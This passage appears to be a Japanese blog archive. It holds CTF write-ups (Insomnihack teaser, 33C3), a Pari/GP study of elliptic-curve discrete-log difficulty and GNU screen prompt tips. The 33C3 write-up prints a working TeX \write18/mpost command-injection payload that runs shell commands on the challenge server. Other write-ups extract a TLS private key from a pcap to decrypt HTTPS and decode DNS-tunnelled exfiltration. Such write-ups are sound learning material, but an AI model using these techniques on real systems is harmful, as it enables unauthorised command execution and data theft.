$ strings -n8 TheGreatEscape-3859f9ed7682e1857aaa4f2bcb5867ea6fe88c74.pcapng | awk '/-----BEGIN PRIVATE KEY-----/,/-----END PRIVATE KEY-----/' -----BEGIN PRIVATE KEY----- MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQC5twyPH+2U6X0Q uxOKPTHSR6MkXGSvAz+Ax+G9DKEiBLuTTfl7dNv4oswdmT9nWlSY1kxZatNwlUF8 WAuGLntO5xTEmOJlMtBFrWGD+DVpCE9KORGvyif8e4xxi6vh4mkW78IxV03VxHM0 mk/cq5kkERfWQW81pVeYm9UAm4dj+LcCwQ9aGd/vfTtcACqS5OGtELFbsHJuFVyn (snip) -----END PRIVATE KEY----- (snip)
この鍵がssc.teaser.insomnihack.ch
のサーバ鍵であると推測し、Wiresharkに52.214.142.175, 443, http
でssc.keyを追加してHTTPS通信の復号を試みたところ復号できた。
ログイン後のHTTPヘッダにフラグがある。
Frame 2236: 646 bytes on wire (5168 bits), 646 bytes captured (5168 bits) on interface 0 Linux cooked capture Internet Protocol Version 4, Src: 172.31.36.141, Dst: 52.214.142.175 Transmission Control Protocol, Src Port: 51398, Dst Port: 443, Seq: 569, Ack: 153, Len: 578 Secure Sockets Layer [2 Reassembled SSL segments (523 bytes): #2236(1), #2236(522)] Hypertext Transfer Protocol POST /api/user.php HTTP/1.1\r\n Host: ssc.teaser.insomnihack.ch\r\n User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0\r\n Accept: application/json, text/plain, */*\r\n Accept-Language: en-US,en;q=0.5\r\n Accept-Encoding: gzip, deflate, br\r\n Content-Type: application/x-www-form-urlencoded\r\n Referer: https://ssc.teaser.insomnihack.ch/login\r\n Content-Length: 38\r\n Cookie: PHPSESSID=3u5dqmfudc7ap1di0nmfjgtjm3\r\n FLAG: INS{OkThatWasWay2Easy}\r\n Connection: keep-alive\r\n \r\n [Full request URI: https://ssc.teaser.insomnihack.ch/api/user.php] [HTTP request 1/6] [Response in frame: 2247] [Next request in frame: 2248] File Data: 38 bytes HTML Form URL Encoded: application/x-www-form-urlencoded Form item: "action" = "login" Form item: "name" = "rogue" Form item: "password" = "rogue"
所感
50pt問題しか解くことができず厳しかった。 他に解きたかった問題は以下。
- The Great Escape - part 2 (Web 200)
- Shobot (Web 200)
- mindreader (Mobile 250)
Pari/GPで楕円曲線離散対数を計算してみる
「Pari/GPでECDH鍵交換、ECDSA署名をやってみる」では、数式処理システムPari/GPを使ってECDH鍵交換、ECDSA署名の計算を行った。 これらの楕円曲線暗号は、楕円曲線離散対数問題(ECDLP)と呼ばれる問題が計算量的に困難であることを安全性の根拠としている。 ここでは、実際にbit数の小さな楕円曲線に対して楕円曲線離散対数を計算し、簡単に解けるbit数がどのくらいか調べてみる。
環境
Ubuntu 16.04.1 LTS 64bit版、Pari/GP 2.7.5、Intel Core i5-4200U (1.6GHz * 2 * 2)
$ uname -a Linux vm-ubuntu64 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 16.04.1 LTS Release: 16.04 Codename: xenial $ gp --version-short 2.7.5 $ grep "processor\|model name" /proc/cpuinfo processor : 0 model name : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz processor : 1 model name : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz processor : 2 model name : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz processor : 3 model name : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
楕円曲線離散対数問題(Elliptic Curve Discrete Logarithm Problem; ECDLP)
楕円曲線離散対数問題とは、有限体(mod p)上で定義した楕円曲線上の点G(生成元)と点Pについて、次の式を満たすnを求めるという問題である。
P = n * G
ここで、記号*
は楕円曲線におけるスカラー倍を表す。
通常の(mod p上での)離散対数が乗法群の上で定義されるのに対し、楕円曲線の場合は加法群の上で定義されるため、計算としてはスカラー倍ではあるがアナロジー的に離散対数と呼ばれる。
通常の離散対数問題と同様に、楕円曲線離散対数問題を効率的に解く方法は見つかっておらず、十分大きなpをとったときこの計算を現実的な時間で行うことは難しいとされている。 NISTによる等価安全性の評価では、160bitの楕円曲線離散対数問題が1024bitの素因数分解問題に相当するとされており、小さな数でより安全な暗号を構成することができる。
Pari/GPにおける楕円曲線離散対数アルゴリズムの実装
Pari/GPでは、有限体上での楕円曲線に関するさまざまな関数が実装されており、離散対数はelllog関数で求めることができる。
ドキュメントには具体的な計算アルゴリズムが書かれていないため、その詳細をソースコードを追って調べると次のようになる。
6457 GEN 6458 elllog(GEN E, GEN a, GEN g, GEN o) 6459 { 6460 pari_sp av = avma; 6461 GEN fg, r; 6462 checkell_Fq(E); checkellpt(a); checkellpt(g); 6463 fg = ellff_get_field(E); 6464 if (!o) o = ellff_get_o(E); 6465 if (typ(fg)==t_FFELT) 6466 r = FF_elllog(E, a, g, o); 6467 else 6468 { 6469 GEN p = fg, e = ellff_get_a4a6(E); 6470 GEN Pp = FpE_changepointinv(RgE_to_FpE(a,p), gel(e,3), p); 6471 GEN Qp = FpE_changepointinv(RgE_to_FpE(g,p), gel(e,3), p); 6472 r = FpE_log(Pp, Qp, o, gel(e,1), p); 6473 } 6474 return gerepileuptoint(av, r); 6475 }
1426 GEN 1427 FF_elllog(GEN E, GEN P, GEN Q, GEN o) 1428 { 1429 pari_sp av = avma; 1430 GEN fg = ellff_get_field(E), e = ellff_get_a4a6(E); 1431 GEN r,T,p, Pp,Qp, e3; 1432 ulong pp; 1433 _getFF(fg,&T,&p,&pp); 1434 switch(fg[1]) 1435 { 1436 case t_FF_FpXQ: 1437 e3 = FqV_to_FpXQV(gel(e,3),T); 1438 Pp = FpXQE_changepointinv(RgE_to_FpXQE(P,T,p), e3, T, p); 1439 Qp = FpXQE_changepointinv(RgE_to_FpXQE(Q,T,p), e3, T, p); 1440 r = FpXQE_log(Pp, Qp, o, gel(e,1), T, p); 1441 break; 1442 case t_FF_F2xq: 1443 Pp = F2xqE_changepointinv(RgE_to_F2xqE(P,T), gel(e,3), T); 1444 Qp = F2xqE_changepointinv(RgE_to_F2xqE(Q,T), gel(e,3), T); 1445 r = F2xqE_log(Pp, Qp, o, gel(e,1), T); 1446 break; 1447 default: 1448 Pp = FlxqE_changepointinv(RgE_to_FlxqE(P,T,pp), gel(e,3), T, pp); 1449 Qp = FlxqE_changepointinv(RgE_to_FlxqE(Q,T,pp), gel(e,3), T, pp); 1450 r = FlxqE_log(Pp, Qp, o, gel(e,1), T, pp); 1451 } 1452 return gerepileupto(av, r); 1453 }
1516 GEN 1517 FpXQE_log(GEN a, GEN b, GEN o, GEN a4, GEN T, GEN p) 1518 { 1519 pari_sp av = avma; 1520 struct _FpXQE e; 1521 e.a4=a4; e.T=T; e.p=p; 1522 return gerepileuptoint(av, gen_PH_log(a, b, o, (void*)&e, &FpXQE_group)); 1523 }
577 /* grp->easylog() is an optional trapdoor function that catch easy logarithms*/ 578 /* Generic Pohlig-Hellman discrete logarithm*/ 579 /* smallest integer n such that g^n=a. Assume g has order ord */ 580 GEN 581 gen_PH_log(GEN a, GEN g, GEN ord, void *E, const struct bb_group *grp) 582 { ... 602 for (i=1; i<l; i++) 603 { ... 623 for (j=0;; j++) 624 { /* n_q = sum_{i<j} b_i q^i */ 625 b = grp->pow(E,a0, gel(qj,e-j)); 626 /* early abort: cheap and very effective */ 627 if (j == 0 && !grp->equal1(grp->pow(E,b,q))) { 628 avma = av; return cgetg(1, t_VEC); 629 } 630 b = gen_plog(b, g_q, q, E, grp); 631 if (typ(b) != t_INT) { avma = av; return cgetg(1, t_VEC); } 632 n_q = addii(n_q, mulii(b, gel(qj,j))); 633 if (j == e) break; 634 635 a0 = grp->mul(E,a0, grp->pow(E,ginv0, b)); 636 ginv0 = grp->pow(E,ginv0, q); 637 } 638 gel(v,i) = mkintmod(n_q, gel(qj,e+1)); 639 } 640 return gerepileuptoint(av, lift(chinese1_coprime_Z(v))); 641 }
520 /*Generic discrete logarithme in a group of prime order p*/ 521 GEN 522 gen_plog(GEN x, GEN g, GEN p, void *E, const struct bb_group *grp) 523 { 524 if (grp->easylog) 525 { 526 GEN e = grp->easylog(E, x, g, p); 527 if (e) return e; 528 } 529 if (grp->equal1(x)) return gen_0; 530 if (grp->equal(x,g)) return gen_1; 531 if (expi(p)<32) return gen_Shanks_log(x,g,p,E,grp); 532 return gen_Pollard_log(x, g, p, E, grp); 533 }
要約すると次のようになる。
- Pohlig-Hellmanアルゴリズムで位数の素因数ごとに分解
- それぞれの素因数について、232未満ならBaby-step Giant-stepアルゴリズム、232以上ならPollard’s Rhoアルゴリズムで解く
Pohlig-Hellmanアルゴリズムは、中国の剰余定理を使って計算を高速化するものである。 RSAにおける中国の剰余定理の利用をイメージすると理解しやすい。
Pari/GPで楕円曲線離散対数を計算してみる
ここでは、楕円曲線として次の曲線を考える。
(from Wikimedia Commons)
32 bitの素数pをとって計算してみると次のようになる。
$ gp -q ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^32))); ? factor(E.no) [ 2 4] [ 7 1] [ 587 1] [65327 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 0 ms.
ここで、E.no
は楕円曲線の位数、E.gen
はその位数となる生成元を意味する。
上の結果から、正しく楕円曲線離散対数が計算できていることがわかる。
続けて、bit数を徐々に大きくして計算してみる。
? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^64))); ? factor(E.no) [ 2 3] [ 324301 1] [7110193951261 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 40,868 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^72))); ? factor(E.no) [ 2 1] [ 3 3] [ 13 1] [ 37 1] [ 1181 1] [153946902119671 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 2min, 40,652 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^80))); ? factor(E.no) [ 2 2] [ 3 1] [ 11 1] [ 31 1] [ 25111 1] [11765219119332439 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 6min, 3,176 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^88))); ? factor(E.no) [ 3 2] [ 63445780987 1] [541993853311213 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 2min, 10,601 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^96))); ? factor(E.no) [ 2 4] [ 5 2] [ 7 2] [ 79 1] [ 4227397 1] [12103845910958041 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 14min, 24,428 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^104))); ? factor(E.no) [ 2 1] [ 5 1] [ 53 1] [ 83 1] [ 209236176689 1] [2203579946128079 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 5min, 42,409 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^112))); ? factor(E.no) [ 3 2] [ 67 1] [ 214901400149 1] [40068488248358139191 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) ^C *** at top-level: elllog(E,P,G) *** ^------------- *** elllog: user interrupt after 6h, 41min, 47,320 ms *** Break loop: <Return> to continue; 'break' to go back to GP prompt break> ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^120))); ? factor(E.no) [ 3 2] [ 89 1] [ 1847 1] [ 381347 1] [ 31639547057 1] [74464534048783 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 2min, 21,056 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^128))); ? factor(E.no) [ 3 1] [ 41 1] [ 3411655459 1] [ 22003545559 1] [36853310066369891 1] ? G = E.gen[1]; ? P = ellpow(E, G, 17320508); ? elllog(E, P, G) 17320508 ? ## *** last result computed in 28min, 969 ms. ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^136))); ? factor(E.no) [ 3 2] [ 7 1] [ 43 1] [ 5375779 1] [5981760200359529611202066470309 1] ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^144))); ? factor(E.no) [ 2 2] [5575186299632655785385137905034729488784923 1] ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^152))); ? factor(E.no) [ 3 2] [ 99007815273500183 1] [6406891275370833771228590437 1] ? E = ellinit([0,0,0,-1,1] * Mod(1, nextprime(2^160))); ? factor(E.no) [ 3 1] [ 1381217941 1] [352708430713639496569423242667877661011 1] ?
パラメータである素数pを基準に考えると、128bitが約30分で解けていることがわかる。 ただし、Pohlig-Hellmanアルゴリズムの原理からわかるように、実際の計算量に影響するのは位数の素因数のうち最大のものである。 これを考慮すると、56bitが約30分で解けている一方、66bitでは6時間以上の時間がかかることがわかる。
$ python Python 2.7.12 (default, Nov 19 2016, 06:48:10) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> len(bin(36853310066369891)[2:]) 56 >>> len(bin(40068488248358139191)[2:]) 66
以上からわかるように、安全な楕円曲線パラメータの条件のひとつとして、生成元Gに対する位数の最大素因数が大きい(理想的には位数が素数となる)ことがいえる。 実際に、「Pari/GPでECDH鍵交換、ECDSA署名をやってみる」で用いた楕円曲線パラメータsecp256r1の位数は256 bitの素数となっている。
$ python Python 2.7.12 (default, Nov 19 2016, 06:48:10) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551 >>> n 115792089210356248762697446949407573529996955224135760342422259061068512044369L >>> len(bin(n)[2:]) 256 $ gp -q ? factor(115792089210356248762697446949407573529996955224135760342422259061068512044369) [115792089210356248762697446949407573529996955224135760342422259061068512044369 1]
関連リンク
screenのウィンドウタイトルをいい感じに自動変更する方法のメモ
GNU Screenでウィンドウタイトルを
に自動変更し、非アクティブウィンドウでコマンドが終了した際にハイライトさせる方法のメモ。
ここでは、次のようにscreenrcに書いておくことで、常に各ウィンドウのタイトルが表示されている状態を想定する。
hardstatus alwayslastline "%{=r dd}%-Lw%{= BW}%50>%n%f* %t%{-}%+Lw%<"
また、シェルとしてbashを想定する。
Dynamic Titlesを使う
screenでは、適当なオプションとシェルのプロンプト文字列(PS1)を設定することで
- 普段はシェル名などの固定文字列
- コマンド実行中はコマンド名
をタイトルに自動設定することができる。
具体的には、screenrcに次のようなコマンドを書いておく。
shelltitle "$ |bash"
|
より前はプロンプト文字列の末尾、後ろはデフォルト文字列を意味する。
次に、シェルの設定ファイル(bashrc等)でプロンプト文字列を次のような感じに設定する。
PS1='\u@\h:\w\[\033k\033\134\]\$ '
\033k\033\134
の部分がscreenで空のタイトル文字列を設定するシーケンスになっており、screenはこれをシグナルとしてプロンプト文字列の終端とコマンド名を判別する。
また、\[...\]
は囲まれた文字列を表示上の文字数としてカウントしないことを意味する。
標準でカレントディレクトリのディレクトリ名を使う
上の方法である程度自動変更できるが、普段のウィンドウタイトルがすべてbash等の固定文字列となるため、いまいち区別が付けづらい。 そこで、デフォルト文字列をディレクトリ名に変えることを考える。 これを行うには、空のタイトル文字列を設定した直後に適当なタイトル文字列で上書きすればよい。
PS1='\u@\h:\w\[\033k\033\134\033k\W\033\134\]\$ '
SSHしているウィンドウのタイトルをリモートホスト名にする
さらに、リモートサーバにSSHログインしているウィンドウのタイトルをそのホストのホスト名に変えることを考える。
これを行うには、環境変数STY
の有無で分岐させればよい。
case "$TERM" in screen*) if [[ -z "$STY" ]]; then # if the shell is on the remote server, display hostname __set_screen_title='\[\033k[\h]\033\134\]' else # otherwise, display command name or directory name __set_screen_title='\[\033k\033\134\033k\W\033\134\]' fi ;; esac PS1="\u@\h:\w\${__set_screen_title}\\$ "
こうすることで、(自分のbashrcが使える)リモートサーバにログインしているウィンドウのタイトルを[hostname]
のように変えることができる。
非アクティブウィンドウでコマンドが終了したときに通知する
非アクティブウィンドウで時間のかかるコマンドを実行している際、終了時にそれを通知させることを考える。 これを行うには、プロンプト文字列にベル文字を含めればよい。
PS1="\[\a\]\u@\h:\w\${__set_screen_title}\\$ "
このようにすることで、コマンド終了時にそのウィンドウのタイトルをハイライト表示させることができる。
完成図
すべて設定すると、次の図のようになる。
0はSSH中のリモートサーバ、1はtopコマンド実行中、2はコマンド終了直後のホームディレクトリ、3は/tmpディレクトリである。
33C3 CTF 供養(Writeup)
33C3 CTFに参加。325ptで140位。
pdfmaker (misc 75)
接続すると、適当なTeXファイルをコンパイルできそうなことがわかる。
$ nc 78.46.224.91 24242 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect. > help Available commands: ?, help, create, show, compile. Type 'help COMMAND' to get information about the specific command. > help create Create a file. Syntax: create TYPE NAME TYPE: type of the file. Possible types are log, tex, sty, mp, bib NAME: name of the file (without type ending) The created file will have the name NAME.TYPE > help show Shows the content of a file. Syntax: show TYPE NAME TYPE: type of the file. Possible types are log, tex, sty, mp, bib NAME: name of the file (without type ending) > help compile Compiles a tex file with the help of pdflatex. Syntax: compile NAME NAME: name of the file (without type ending)
つい先月、細工したTeXファイルをコンパイルさせることで任意のコマンドが実行できるという記事が出ていたので、それを試してみるとフラグが得られた。
$ nc 78.46.224.91 24242 Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect. > create mp x File created. Type the content now and finish it by sending a line containing only '\q'. verbatimtex \documentclass{minimal}\begin{document} etex beginfig (1) label(btex blah etex, origin); endfig; \end{document} bye \q Written to x.mp. > create tex x File created. Type the content now and finish it by sending a line containing only '\q'. \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al)>pwn.log" "x.mp"} \end{document} \q Written to x.tex. > compile x fatal: DVI generation failedsystem returned with code 768 This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex) restricted \write18 enabled. entering extended mode (/tmp/839520918753730933/x.tex LaTeX2e <2016/03/31> patch level 3 Babel <3.9r> and hyphenation patterns for 3 language(s) loaded. (/usr/share/texlive/texmf-dist/tex/latex/base/article.cls Document Class: article 2014/09/29 v1.4h Standard LaTeX document class (/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo))This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2) (./x.mp >> x.mp >> x.mpx ! ! Unable to read mpx file. l.3 etex beginfig (1) label(btex blah etex, origin); Transcript written on x.log. No file x.aux. (./x.aux) ) No pages of output. Transcript written on x.log. > show log pwn total 24 drwxrwxr-x 2 pdfmaker pdfmaker 4096 Dec 28 03:48 . drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:48 .. -rw-rw-r-- 1 pdfmaker pdfmaker 32 Dec 28 03:48 33C320CBD460FB4030 -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:48 makempx.log -rw-rw-r-- 1 pdfmaker pdfmaker 460 Dec 28 03:48 mpJJ7pdo.tex -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:48 pwn.log -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:48 x.aux -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:48 x.log -rw-rw-r-- 1 pdfmaker pdfmaker 128 Dec 28 03:48 x.mp -rw-rw-r-- 1 pdfmaker pdfmaker 130 Dec 28 03:48 x.tex > create tex x File created. Type the content now and finish it by sending a line containing only '\q'. \documentclass{article}\begin{document} \immediate\write18{mpost -ini "-tex=bash -c (ls${IFS}-al;cat${IFS}33C320CBD460FB4030)>pwn.log" "x.mp"} \end{document} \q Written to x.tex. > compile x fatal: DVI generation failedsystem returned with code 768 This is pdfTeX, Version 3.14159265-2.6-1.40.17 (TeX Live 2016/Debian) (preloaded format=pdflatex) restricted \write18 enabled. entering extended mode (/tmp/839520918753730933/x.tex LaTeX2e <2016/03/31> patch level 3 Babel <3.9r> and hyphenation patterns for 3 language(s) loaded. (/usr/share/texlive/texmf-dist/tex/latex/base/article.cls Document Class: article 2014/09/29 v1.4h Standard LaTeX document class (/usr/share/texlive/texmf-dist/tex/latex/base/size10.clo)) (./x.aux)This is MetaPost, version 1.9991 (TeX Live 2016/Debian) (kpathsea version 6.2.2) (./x.mp >> x.mp >> x.mpx ! ! Unable to read mpx file. l.3 etex beginfig (1) label(btex blah etex, origin); Transcript written on x.log. (./x.aux) ) No pages of output. Transcript written on x.log. > show log pwn total 24 drwxrwxr-x 2 pdfmaker pdfmaker 4096 Dec 28 03:49 . drwxrwxr-x 19 pdfmaker pdfmaker 4096 Dec 28 03:49 .. -rw-rw-r-- 1 pdfmaker pdfmaker 32 Dec 28 03:48 33C320CBD460FB4030 -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:49 makempx.log -rw-rw-r-- 1 pdfmaker pdfmaker 460 Dec 28 03:49 mp9opGQm.tex -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:49 pwn.log -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:49 x.aux -rw-rw-r-- 1 pdfmaker pdfmaker 0 Dec 28 03:49 x.log -rw-rw-r-- 1 pdfmaker pdfmaker 128 Dec 28 03:48 x.mp -rw-rw-r-- 1 pdfmaker pdfmaker 158 Dec 28 03:49 x.tex 33C3_pdflatex_1s_t0t4lly_s3cur3! > exit
exfil (Forensics 100)
pcapファイルとサーバスクリプトが与えられる。 pcapファイルの内容は複数回のDNS通信になっており、サブドメイン名でデータをやりとりしていそうなことがわかる。
とりあえず、tsharkを使ってpcapファイルの内容をテキストファイルに書き出す。
$ tshark -r dump.pcap >dump.txt $ head dump.txt 1 0.000000 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de 2 0.002197 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x2815 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de 3 0.203334 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de 4 0.204610 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0xcfbf A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de 5 0.405026 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de 6 0.406228 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x5449 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de 7 0.613703 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de 8 0.614944 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x3176 A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de 9 0.821849 192.168.0.121 -> 192.168.0.1 DNS 94 Standard query 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de 10 0.823065 192.168.0.1 -> 192.168.0.121 DNS 108 Standard query response 0x131b A G4JQAAAAAA.eat-sleep-pwn-repeat.de CNAME G4JQAAAAAA.eat-sleep-pwn-repeat.de
次に、サーバスクリプトを参考に、標準入力からサブドメインを抜き出してデコードするスクリプトを書く。
import sys import re import base64 def decode_b32(s): s = s.upper() for i in range(10): try: return base64.b32decode(s) except: s += b'=' raise ValueError('Invalid base32') lastdata = None for line in sys.stdin: m = re.search(r'([\w.]+)\.eat-sleep-pwn-repeat\.de', line) if not m: continue data = m.group(1).replace('.', '') if data == lastdata: continue lastdata = data data = decode_b32(data)[6:] if data: print repr(data)
リクエスト、レスポンスそれぞれに上のスクリプトを適用すると、GPG鍵を書き出した後secret.docxを暗号化していることがわかる。
$ grep -v CNAME dump.txt | python test.py >request.txt $ head request.txt 'uid=1001(fpetry) gid=1001(fpetry) groups=1001(fpetry)\n' 'total 36K\n2624184 drwxr-xr-x 2 fpetry fpetry 4.0K Dec 17 13:30 .\n2621441 drwxr-xr-x 5 root root 4.0K Dec 17 13:06 ..\n263' '1209 -rw------- 1 fpetry fpetry 42 Dec 17 13:07 .bash_history\n2627663 -rw-r--r-- 1 fpetry fpetry 220 Dec 17 13:06 .bash_l' 'ogout\n2631208 -rw-r--r-- 1 fpetry fpetry 3.7K Dec 17 13:06 .bashrc\n2631221 -rw------- 1 fpetry fpetry 33 Dec 17 13:24 .les' 'shst\n2627664 -rw-r--r-- 1 fpetry fpetry 675 Dec 17 13:06 .profile\n2631216 -rw-r--r-- 1 fpetry fpetry 4.0K Dec 17 13:17 secr' 'et.docx\n2631218 -rw------- 1 fpetry fpetry 908 Dec 17 13:21 .viminfo\n' "gpg: directory `/home/fpetry/.gnupg' created\ngpg: new configuration file `/home/fpetry/.gnupg/gpg.conf' created\ngpg: WARNING" ": options in `/home/fpetry/.gnupg/gpg.conf' are not yet active during this run\ngpg: keyring `/home/fpetry/.gnupg/secring.gpg" "' created\ngpg: keyring `/home/fpetry/.gnupg/pubring.gpg' created\ngpg: /home/fpetry/.gnupg/trustdb.gpg: trustdb created\ngpg: " 'key D0D8161F: public key "operator from hell <team@kitctf.de>" imported\ngpg: key D0D8161F: secret key imported\ngpg: key D0D8' $ grep -oE 'CNAME.*' dump.txt | python test.py >response.txt $ head response.txt 'id\n' 'ls -alih\n' 'cat > key << EOF\n' '-----BEGIN PGP PUBLIC KEY BLOCK-----\n\nmQENBFhNxEIBCACokqjLjvpwnm/lCdKTnT/vFqnohml2xZo/WiMAr4h3CdTal4yf\nCBbYeZYXI4S9RNVl3+5j2' 'h2yCssQ5S4ydWV2oy550qqh7K41u78L4FcT4lwgdbhD\ngHyRdiHpqZ15JIdHQBm1Tc4ZQNKiRmzgDZqroa/YfkGi7l35BDGId9VjwttZg6y4\n4I4j0NwnSdkhx3j' 'e+YUhDRSXXw55jhLsCqEVUaBpl4T3y93QkbxSEupPOQZ2TBNJ\nHv454UDToUU9SwgkhARivA7dMV43RR21hyUdFAuRcVXzEZCS1nsF7nE9sgVGZ6fs\nBXeU/oPF6' 'o86TqgPkBKrwYk2XTA3pf1DgVyvABEBAAG0I29wZXJhdG9yIGZyb20g\naGVsbCA8dGVhbUBraXRjdGYuZGU+iQFOBBMBCAA4FiEE0Rl3XS1+y7q+DPr51DzA\nYtD' 'YFh8FAlhNxEICGwMFCwkIBwIGFQgJCgsCBBYCAwECHgECF4AACgkQ1DzAYtDY\nFh/FoQgAj5df/QfWefsQrMkGEH38prNfPXRN8+G2gJbjYj2fliKvwqiOAiX7At' 'oQ\ntxlwU45eVCRwSq41uLBOhNiNDKlo62Rlz5d7ZCRd0hoewPpH+gMVrsUBym3WNy6k\nkvHBelOWOTqDSEW/BWyhk+UTDnMb1M0LP/NpcDHbYvR/KQhaP2N1SRz9' 'Ye05Xs/B\nDRT+lzFnXstgXsPrOOXV1J4924IfbwGRamx0N4aDzEUqkN80PfwTjaCWdrz0Cgym\nBYVZOpHKuoDS/IK6/jxo4Q5N+BlAkN+9a7VeofbSor4X5Whrcr'
上の出力からそれぞれのファイルを抜き出し、復号するとフラグが得られた。
$ sha1sum secret.docx.gpg key 700216568a3819f12808bf7fffd108a0aa36acca secret.docx.gpg 6c5309445f7857fd66b8c88128d550f8bf4c5263 key $ gpg --import key gpg: directory `/home/user/.gnupg' created gpg: new configuration file `/home/user/.gnupg/gpg.conf' created gpg: WARNING: options in `/home/user/.gnupg/gpg.conf' are not yet active during this run gpg: keyring `/home/user/.gnupg/secring.gpg' created gpg: keyring `/home/user/.gnupg/pubring.gpg' created gpg: /home/user/.gnupg/trustdb.gpg: trustdb created gpg: key D0D8161F: public key "operator from hell <team@kitctf.de>" imported gpg: key D0D8161F: secret key imported gpg: key D0D8161F: "operator from hell <team@kitctf.de>" not changed gpg: Total number processed: 2 gpg: imported: 1 (RSA: 1) gpg: unchanged: 1 gpg: secret keys read: 1 gpg: secret keys imported: 1 $ gpg --decrypt --output secret.docx secret.docx.gpg gpg: encrypted with 2048-bit RSA key, ID BF30A26A, created 2016-12-11 "operator from hell <team@kitctf.de>" $ file secret.docx secret.docx: Microsoft Word 2007+
ESPR (Pwn 150)
問題文の写真から、概ね次のような処理をしていることが推測できる。
char buf[0x100]; while (1) { gets(buf); sleep(1); printf(buf); }
Format String Bugがあるので、適当にスタックの内容を調べた後、saved ebp相当の箇所を利用して通常0x601000に置かれる.plt.gotセクションの内容を書き出してみる。
